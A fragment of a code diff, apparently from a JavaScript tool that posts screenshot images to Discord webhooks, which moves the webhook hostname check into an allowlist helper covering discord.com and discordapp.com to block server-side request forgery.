  return { filename: "screenshot.jpg", mime: "image/jpeg" };
@@ -80,10 +94,11 @@ function _getWebhookTracker(webhookPath) {
80
94
  async function postPngToDiscordWebhookUrl(webhookUrl, png, caption) {
81
95
  const u = new URL(webhookUrl.trim());
82
96
  const h = u.hostname.toLowerCase();
83
- if (h !== "discord.com" &&
84
- h !== "canary.discord.com" &&
85
- h !== "ptb.discord.com") {
86
- return { ok: false, error: "webhook URL host must be discord.com (or canary/ptb)" };
97
+ if (!discordWebhookHostnameAllowed(h)) {
98
+ return {
99
+ ok: false,
100
+ error: "webhook URL host must be discord.com or discordapp.com (stable/canary/ptb); other hosts blocked (SSRF)",
101
+ };
87
102
  }
88
103
  const base = webhookUrl.trim();
89
104
  const exec = base.includes("?") ? `${base}&wait=true` : `${base}?wait=true`;